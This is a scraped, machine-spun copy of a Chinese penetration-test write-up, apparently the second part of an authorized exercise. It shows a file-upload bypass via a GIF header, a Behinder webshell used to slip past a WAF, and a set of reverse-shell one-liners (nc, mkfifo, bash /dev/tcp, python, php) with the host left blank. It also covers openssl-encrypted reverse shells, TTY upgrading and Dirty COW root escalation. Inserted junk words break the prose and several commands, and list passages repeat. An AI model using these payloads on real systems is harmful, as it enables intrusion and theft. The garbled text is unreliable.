逗鸟外传,全带宽块:许可证网络攻防演习(下)-ope电竞下载_ope体育电竞官网_ope电竞app官网

国际新闻 180℃ 0

完好进犯链大约包括信息收集、缝隙运用、树立据点、权限提高、权限保持、横向移动、痕迹铲除等七步,尽管这个站点只阅历了前四步,但也具有较强的代表性,组合运用缝隙构成进犯连,拿下办理权限。

前情概要:全程带阻:记一次授权网络攻防演练(上)

树立据点

真是费事,整了这么久,才取得一个可用的上传功用罢了,还不一定能上传 webshell,走一步看一步。

在我看来,恣意文件上传进犯应重视四个要素:找寻文件途径、指定文件扩展名、写入脚本代码、防 WAF 阻拦。

找寻文件途径。上传 webshell 后肯定要拜访,势必得知道文件写入途径,一般上传成功后,途径将回显在应对中,但该站并无回显,但好在它是个图片,所以,在页面右键即可检查文件途径:

一起,为了便利后续调试,我把查询文件途径的接口保存下来:

指定文件扩展名。上传报文中,触及文件扩展名的当地如下三处:

我得逐个验证哪个是影响服务端写入文件时用到的扩展名。测验将榜首处 fileName 域的 info.png 改为 info.jsp,承认写入文件名:

wow,这命运。

写入脚本代码。接下来,我把上传报文中的图片数据替换为一行无害的 JSP 代码:

上传失利,文件内容是仅有改变的当地,那么,我能够合理问人间情为何物猜想服务端要么检测了文件内容是否存在脚本代码,要么检测了文件头是否为图片类型。

验证是否检测了脚本代码。我把这行 JSP 代码改为一般文本:

依然失利,阐明并非检测了歹意代码。

验证是否检测死鱼眼了文件头。不同类型的文件都有对应的文件类型签名(也叫类型幻数,简称文件头),比方,PNG 的文件头为十六进制的 89 50 4E 47 0D 0A 1A 0A、GIF 为 47 49 46 38 37 61、JPG 为 FF D8 FF E0。所以,我添加了 PNG 文件头后再次上传:

wowo,上传旬成功。当即拜访,承认能否解析:

500 过错,不应该啊,就这么一行无害一般代码,怎么会导致服务端过错呢?!会不会 PNG 头中存在不行见字符,导致解析报错?改成满是可见字符的 G蒋雪莲IF 头试试:

承认能否正常解析:

呵呵,考究!换成 GIF 文件头可成功解析。

防 WAF 阻拦。接下来,我把无害 JSP 代码替换为指令履行的小马,成功上传、成功解析、成功履行指令:

哈哈,第七个洞,文件类型签名可绕过,导致恣意文件上传 getshell。

我的心里开端放纵,按捺不住激动的心境按下了 F5,竟然又出幺蛾子:

顺畅写马、能够履行一次指令、改写页面呈现制止拜访,这种现象,我置疑 WAF 作怪,它发现流量中带着歹意行为后拒绝恳求。

两年前,打破法语翻译 WAF 我大约会用到这几种方法:分块传输、畸型恳求、转义序列、偏远编码、TLS 乱用,而现在,划年代的冰蝎面世(尽管它未开源),让我简直能够忽视 WAF 的存在。上古年代的各类一句话、小马、大马早已成为各大 WAF 出厂默许封杀规矩;传奇 webshell 办理客户端菜刀也年久失修,明文流量毫无隐私可言;冰蝎,选用密钥改换方法,将文本载荷转为二进制流,再进行加密传输,天然生成具有防流量监测的才能。

所以,我上传冰蝎马:

直接拜访报错:

不要紧,冰蝎马未处理反常,不影响办理端衔接:

现在,我能够随意履行指令:

办理文件:

题外话,关于上传缝隙,冰蝎流量监测、白名单扩展绕过,这有两点你能够了解下:

1. 冰蝎流量能逃过全部品牌的 WAF 监测么?简直是,仅有逃不过奇安信(原 360、原原网神)的天眼体系,冰蝎办理端与冰蝎马树立会话时需求获取动态密钥,这个进程中的恳求与应对的两个报文存在特征,天眼的着力点在此;

2. 恣意文件上传进犯,遇到服务端扩展名白名单的场景,除了惯例的解析缝隙方法外,还或许重视本地文件包括缝隙(LFI),以及 HTTP 参数污染缝隙(HPP),特别是 HPP,在打破白名单约束时,很有杀伤力。

1. 冰蝎流量能逃过全部品牌的 WAF 监测么?简直是,仅有逃不过奇安信(原 360、原原网神)的天眼体系,冰蝎办理端与冰蝎马树立会话时需求获取动态密钥,这个进程中的恳求与应对的两个报文存在特征,天眼的着力点在此;

2. 恣意文件上传进犯,遇到服务端扩展名白名单的场景,除了惯例的解析缝隙方法外,还或许重视本地文件包括缝隙(LFI),以及 HTTP 参数污染缝隙(HPP),特别是 HPP,在打破白名单约束时,很有杀伤力。

webshell 尽管赋予我履行指令、办理文件的才能,但毕竟不是真实的 shell,无法履行交互式指令、无法控制进程状况、无法补全指令等等,非常不利于提权操作,所以,有必要反弹 shell。

经过冰蝎在方针上履行反弹指令:

VPS 监听:

等昏过去了都没见到 shell 回来,反弹 shell 失利!导致失利的要素许多,阅历来看,常见如下淮几类:反弹指令不存在、制止出口流量、约束向外拜访端口、流量检查。

验证是否反弹指令不存在。我常用的几个反弹指令:nc/nc.openbsd/nc.traditional、bash/sh/dash、python/perl/PHP/ruby、exec。

用 nc 反弹,指令如下:

nc 1024 -e /bin/sh

某些方针的 nc 不支撑 -e 参数,有两个处理思路,要么运用其他版别的 nc:

nc.traditional 1024 -e /bin/sh

要么合作命名管道进行反弹:

rm /tmp/f;mkf吴其江ifo /tmp/f;cat /tmp/f|/bin/sh -i perhaps2>&1 | nc 1024 >/tmp/f

用 bash 反弹:

/bin/bash -i >& /dev/tcp//1024 0>&a逗鸟别传,全带宽块:许可证网络攻防演习(下)-ope电竞下载_ope体育电竞官网_ope电竞app官网mp;1

用 python 反弹:

python -c 'import soc我的上司ket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1024));os.dup2(s.fileno,0); os.dup2(s.逗鸟别传,全带宽块:许可证网络攻防演习(下)-ope电竞下载_ope体育电竞官网_ope电竞app官网fileno,1); os.dup2(s.fileno,2);p=subprocess.call(["/bin/sh","-i"]);'

用 PHP 反弹:

php -r '$sock=fsockopen("",1024);exec("/bin/sh -i <&3 >&3 2>&3");'

用 exec 反弹:

0<&196;exec 196<>/dev/tcp//1024; sh <&196 >&196 2>&196

在方针上检查相关指令是否存在:

看来除 PHP 外,其他反弹指令都可用,那么从前反弹失利并非 bash 指令的原因。

验证是否制止出口流量。某些方针在防火墙上约束了出口流量,制止方针自动向外建议网络恳求,我方案经过带外(Out Of Band)的方法进行验证。大致逻辑是,在进犯者自己的 VPS 上监测某种协议的网络恳求,在方针上用这种协议拜访 VPS,若在 VPS 上看到该协议的恳求日志,则可推断出方针答应出口流量。

为了削减其他要素搅扰,我习气选用无端口的协议进行出口流量的测验,ICMP 最单纯。你知道互联网上随时都有 ICMP 的探听,导致 VPS 看到的日志量非常大,所以,我指定 ping 的包的巨细,这样便利过滤。

榜首步,尽管我指定了 ping 包巨细,但实践巨细由体系承认,先在方针上履行 ping 指令,获取实践包巨细:

我用 -s 选项指定包巨细为 64 个字节,体系实践发送了 92 个字节,以 length 92 为关键字查找 ICMP 记载。

第二步,在 VPS 上监控 ICMP 日志:

第三步,在方针上再次履行 ping 指令:

第四步, 在 VPS 上检查到巨细为 92 的 ICMP 包:

经过以上四步,我承认方针答应出口流量。

验证是否约束向外拜访端口。某些方针约束拜访外部端口,常见黑名单和白名单两种方法。黑名单,比方,制止方针机器向外拜访 MSF 默许的 4444 端口;白名单,比方,只答应向外拜访 web 常见的 80 端口,注意下,进犯端即使监听的 80 端口,getshell 的流量选用的也并非 HTTP 协议,而是一般的 socket,切勿与 HTTP 地道 getshell 混杂。

从前反弹失运用的是 1024 端口,换个端口 2941 监听试试:

方针上用 HTTP 协议拜访 VPS 的 2941 端口:

等候顷刻,VPS 的并无 HTTP 记载,所以,置疑选用白名单。阅历来看,端口白名单一般只答应向外拜访 HTTP 服务的默许 80、HTTPS 服务的默许 443,所以,VPS 监听 443 端口,方针上拜访 443,这时 VPS 上取得 443 端口的拜访记载:

那么,我能够简直判定方针确实是用白名单机制约束了向外拜访的端口号,其间猜想出 443 端口在白名单范围内。

验证是否存在流量检查。换成 443 端口后应该顺畅反弹 shell,服务端确实也收到了 shell,但还没来得及履行任何指令,under立刻就就掉线了。我猜想服务端或许存在某种流量检测设备,以物理旁路、逻辑串联的方法接入在网络中,一旦发现歹意行为,分别向客户端和服务端发送 RESET 的 TCP 包,达逗鸟别传,全带宽块:许可证网络攻防演习(下)-ope电竞下载_ope体育电竞官网_ope电竞app官网到断开客户端和服务端衔接的意图,表象相似传统堡垒机的防绕行机制。

流量检查,检查设备必定得到明文流量数据才行,要防检查天然想到加密流量。所以,我不再简略地用 bash 来反弹 shell,而在此基础上,将原始流量用 openssl 加密,这样就能到达防流量检查的意图。

详细而言,榜首步,在VPS 上生成 SSL 证书的公钥/私钥对:

第二步,VPS 监听反弹 shell:

第三步,方针上用 openssl 加密反弹 shell 的流量:

第四步,VPS 上成功获取加密的哑 shell:

现在,我得到的仅仅是个粗陋的哑 shell,并非交互式 shell。根据以下几个原因,让我有激烈驱动力将哑 shell 转为交互式 shell:避免 ctrl-c 中止 getshell 会话、无法检查语法高亮、无法履行交互式指令、无法检查过错输出、无法运用 tab 指令补全、无法控制 job、无法检查指令前史。

详细如下,榜首步,在哑 shell 中履行:

$ python -c 'import小年代4 pty; pty.spawn("/bin/bash")'

键入 Ctrl-Z,回到 VPS 的指令行中;第二步,在 VPS 中履行:

$ stty raw -echo

$ fg

回到哑 shell 中;第三步,在哑 shell 中键入 Ctrl-l,履行:

$ reset

$ export SHELL=bash

$ export TERM=xterm-256color

$ stty rows 54 columns 104

这样,我得到了功用彻底的交互式 shell,比方,支撑指令补全、语法高亮:

全部安排妥当,正式进入提权操作。提权的方法许多,比方,运用内核栈溢出提权、搜索配置文件中的明文暗码、环境变量绑架高权限程序、不安全的服务、凭借权能(POSIX capabilities)提权、sudo 误配、SUID 乱用等等。我喜爱快刀斩乱麻,将 linux-exploit-suggester-2 上传至方针后运转:

提示当时内核或许存在脏牛缝隙,上传本地编译好的脏牛 exp,履行后毫无波涛地拿到了 root:

尽管这个方针用内核缝隙成功提权,对我而言,只能算作命运好,在现在的网络安全生态下,运维人员已有满足的安全意识,装置体系补丁早已融入日逗鸟别传,全带宽块:许可证网络攻防演习(下)-ope电竞下载_ope体育电竞官网_ope电竞app官网常作业。所以,我有必要共享一种内核缝隙之外的提权方法,它的成功率非常高,而且不像逗鸟别传,全带宽块:许可证网络攻防演习(下)-ope电竞下载_ope体育电竞官网_ope电竞app官网内核提权那样或许导致体系挂起,它便是对体系彻底无损的 sudo 误配提取方法。

个人非常、非常、特别喜爱它,sudo 误配的一种运用方法是,检查 home/ 目录下是否 .sudo_as_admin_successful 文件,若有则能够输入当时低权账号的暗码直接 su周公解梦1000例do su 切换为 root 用户,而在现已获取当时账号的体系环境的前提下,要拿到低权账号的暗码,尽管有门槛,但也不是不行能(如,翻找各类配置文件)。

靶机 JIS-CTF-VulnUpload-CTF01 便是很好的一个事例。首要,运用 web 缝隙拿到低权账号 technawi 的 meterpreter 会话:

接着,翻找文件找到其暗码:

然后,发现 home/ 中存在 .sudo_as_admin_successful 文件:

最终,用 technaw写真女i 自己的暗码切换为 root 用户:

就这样,成功提权!

说这么多,不是排名哪种提权方法优异、哪种低劣,能到达意图,合适你思想形式的,便是最好的,你说呢!

故事结尾

到此,使命算完成了,整个进程很有意思,方针环境设有层层防护,但每道防地或多或少存在些小问题,多个小问题串起来,便成了黑客进入体系内部的进犯途径。

完好来说,全流程的进犯链包括信息收集、缝隙运用、树立据点、权限提高、权限保持、横向移动、痕迹铲除等七步,尽管这个站点只阅历了前四步,但也具有较强的代表性。简略回忆下,大约经过以下关键步骤:

1. 暗码找回功用处,图片验证码改写,导致可枚举用户名,得到三个有用账号:nana、admin、liufei;

2. 暗码找回功用,若是有用用户,服务端走漏有用用户的灵敏信息,包括哈希暗码;

3. 因为体系存在弱口令,导致经过彩虹表反解出 liufei 的暗码;

4. 经过 liufei 账号登录体系,发现为低权账号,无可运用功用;

5. 回到 nana 账号上,经过制造社工暗码,暴破出该账号暗码;

6. 登录 nana 账号,找到上传点,但非 admin 而制止上传;

7. 回到 admin 账号上,从头检查暗码找回功用,发现存在 IDOR,可重置 admin 暗码,但业林更新自称患穷癌务厂商奉告不能重置,作罢;

8. 再次而登录 nana 账号,剖析上传恳求报文,发现服务端经过 JWT 作为身份凭据,因为 JWT 选用弱密钥,导三国之西州制霸致笔直越权至 admin;

9. 以 admin 身份上传,服务端经过文件类型签名作为上传约束,可轻松绕过,成功上传 webshell;

10. 服务端检查 webshell 流量,无法长期运用,改用冰蝎马,完成 POST 数据二进制化、加密化,打破 webshell 流量检查;

11. 反弹 shell 时遇阻,方针设置向外拜访端口白名单,经过各种方法找到端口白名单包括 80、443;

12. 设置反弹 shell 至 443 端口仍失利,发现方针布置反弹流量检查设备,所以,用 openssl 加密反弹流量,成功获取反弹 shell;

13. 为便利后续提权、维权、移动,经过技巧将反弹的哑 shell 转为全功用的交互式 shell;

14. 经过查找方针内核版别,发现存在脏牛缝隙,上传 exp 后顺畅提权为 root。

1. 暗码找回功用处,图片验证码改写,导致可枚举用户名,得到三个有用账号:nana、admin、liufei;

2. 暗码找回功用,若是有用用户,服务端走漏有用用户的灵敏信息,包括哈希暗码;

3. 因为体系存在弱口令,导致经过彩虹表反解出 liufei 的暗码;

4. 经过 liufei 账号登录体系,发现为逗鸟别传,全带宽块:许可证网络攻防演习(下)-ope电竞下载_ope体育电竞官网_ope电竞app官网低权账号,无可运用功用;网游之祭祀也张狂

5. 回到 nana 账号上,经过制造社工暗码,暴破出该账号暗码;

6. 登录 nana 账号,找到上传点,但非 admin 而制止上传;

7. 回到 admin 账号上,从头检查暗码找回功用,发现存在 IDOR,可重置 admin 暗码,但事务厂商奉告不能重置,作罢;

8. 再次登录 nana 账号,剖析上传恳求报文,发现服务端经过 JWT 作为身份凭据,因为 JWT 选用弱密钥,导致笔直越权至 admin;

9. 以 admin 身份上传,服务端经过文件类型签名作为上传约束,可轻松绕过,凯里欧文成功上传 webshell;

10. 服务端检查 webshell 流量,无法长期运用,改用冰蝎马,完成 POST 数据二进制化、加密化,打破 webshell 流量检查;

11. 反弹 shell 时遇阻,方针设置向外拜访端口白名单,经过各种方法找到端口白名单包括 80、443;

12. 设置反弹 shell 至 443 端口仍失利,发现方针布置反弹流量检查设备,所以,用 openssl 加密反弹流量,成功获取反弹 shell;

13. 为便利后续提权、维权、移动,经过技巧将反弹的哑 shell 转为全功用的交互式 shell;

14. 经过查找方针内核版别,发现存在脏牛缝隙,上传 exp 后顺畅提权为 root。

最终,杜兄弟也实现了许诺:

尽管做人要向 qian 看,但它并不是高兴的源泉,全程带阻、层层打破、犁庭扫穴,或许,这才是真实的趣味!

(部分信息灵敏,内容恰当调整)

*本文原创作者:yangyangwithgnu,本文归于FreeBuf原创奖赏方案,未经许可制止转载

逗鸟别传,全带宽块:许可证网络攻防演习(下)-ope电竞下载_ope体育电竞官网_ope电竞app官网